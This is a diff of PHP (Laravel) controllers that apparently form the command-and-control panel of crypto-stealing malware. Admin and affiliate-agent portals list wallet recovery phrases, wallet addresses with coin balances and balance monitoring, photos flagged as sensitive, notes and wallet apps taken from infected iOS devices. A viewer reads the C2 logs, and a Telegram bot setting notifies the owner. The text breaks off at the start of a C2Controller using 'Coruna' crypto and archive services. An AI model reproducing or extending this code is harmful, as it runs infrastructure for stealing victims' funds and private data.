'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->addresses();
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
if ($source !== '') {
|
||||
$q->where('source', $source);
|
||||
}
|
||||
$chainType = trim((string) $request->query('chain_type', ''));
|
||||
if ($chainType !== '') {
|
||||
$q->where('chain_type', $chainType);
|
||||
}
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'source' => $addr->source ?: '',
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'address' => $addr->address,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
$q->orderBy($field, $order);
|
||||
}
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceApp $app) {
|
||||
return [
|
||||
'id' => $app->id,
|
||||
'name' => $app->name ?: '',
|
||||
'bundle_id' => $app->bundle_id ?: '',
|
||||
'version' => $app->version ?: '',
|
||||
'is_wallet' => (bool) $app->is_wallet,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (Note $note) {
|
||||
$content = $note->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $note->id,
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
|
||||
return [
|
||||
'id' => $ev->id,
|
||||
'event_name' => $ev->event_name ?: '',
|
||||
'desc' => $ev->desc ?: '',
|
||||
'context' => $ev->context_json
|
||||
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
: '',
|
||||
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $count,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'agent_user_id' => (int) $request->query('agent_user_id', 0),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
$q = Device::query()->select('devices.*');
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
||||
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class MnemonicController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletMnemonic::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.mnemonics.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletMnemonic::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||
->select([
|
||||
'wallet_mnemonics.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_mnemonics.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Note;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class NoteController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.notes.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('notes.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$content = $row->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Note::query()
|
||||
->join('devices', 'devices.id', '=', 'notes.device_id')
|
||||
->select([
|
||||
'notes.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class PhotoController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.photos.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'size', 'x_hit', 'created_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('photos.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
||||
'size' => $row->size,
|
||||
'x_hit' => $row->x_hit,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Photo::query()
|
||||
->join('devices', 'devices.id', '=', 'photos.device_id')
|
||||
->select([
|
||||
'photos.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('photos.x_hit', '>', 0);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$raw = (string) file_get_contents($full);
|
||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
||||
$entries = [];
|
||||
foreach ($chunks as $chunk) {
|
||||
$chunk = trim($chunk);
|
||||
if ($chunk === '') {
|
||||
continue;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
||||
continue;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
||||
continue;
|
||||
}
|
||||
$entries[] = $chunk;
|
||||
}
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemSettingsController extends Controller
|
||||
{
|
||||
public function index(SettingsService $settings)
|
||||
{
|
||||
return view('admin.system.settings', [
|
||||
'form' => $settings->effectiveForForm(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, SettingsService $settings)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
||||
]);
|
||||
|
||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
||||
? (string) $data['channels_max_per_agent']
|
||||
: null,
|
||||
// Persist normalized comma-separated list (empty clears override to []).
|
||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已保存']);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletAddress::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.addresses.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $row->monitor,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, WalletAddress $address)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'monitor' => ['required', 'integer', 'in:0,1'],
|
||||
]);
|
||||
|
||||
$allowed = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->where('wallet_addresses.id', $address->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
if (! $allowed->exists()) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$address->monitor = (int) $data['monitor'];
|
||||
$address->save();
|
||||
|
||||
try {
|
||||
app(TokenviewMonitorService::class)->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->select([
|
||||
'wallet_addresses.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_addresses.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('agent')->check()) {
|
||||
return redirect()->route('user.home');
|
||||
}
|
||||
|
||||
return view('user.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('user.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
|
||||
}
|
||||
|
||||
if (Auth::guard('agent')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('user.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('agent')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('user.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
